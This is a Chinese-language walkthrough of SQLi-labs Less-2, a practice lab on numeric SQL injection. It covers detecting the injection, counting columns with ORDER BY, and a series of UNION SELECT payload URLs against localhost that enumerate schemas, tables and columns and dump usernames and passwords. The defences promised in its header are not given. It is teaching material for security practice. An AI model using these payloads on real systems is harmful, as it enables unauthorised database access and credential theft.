知识点:1,判断是数字型还是字符型,单引号还是双引号
2,union select联合查询注入
3,payload原理与防御措施
这道题与上道题的主要区别就是这个是整型,即这个题的id参数没有引号,只是数字,这意味着在你绕过的时候可以不需要对后面的引号过滤(如果没有其他干扰的话)
大概步骤:1.输入?id=2-1页面信息发生变化,说明此处是数值型注入
2.order by 3 页面显示正常,order by 4页面显示不正常,所以该表有3列数据
3.接着可以使用联合查询进行注入,详细过程参考第一关
接下来进行操作: 输入 ?id=2-1
接下来进行回显操作,先 order by 3 再 order by 4
输入4时错误,所以判断只有三列数据,判断完后我们就可以进行联合查询了,操作同第一关:
http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)–+
http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(column_name) from information_schema.columns where table_name=‘users’)–+
http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(username) from security.users)–+
http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(password) from security.users)–+
至此,所有的用户名和密码就都出来啦,嘻嘻🤭。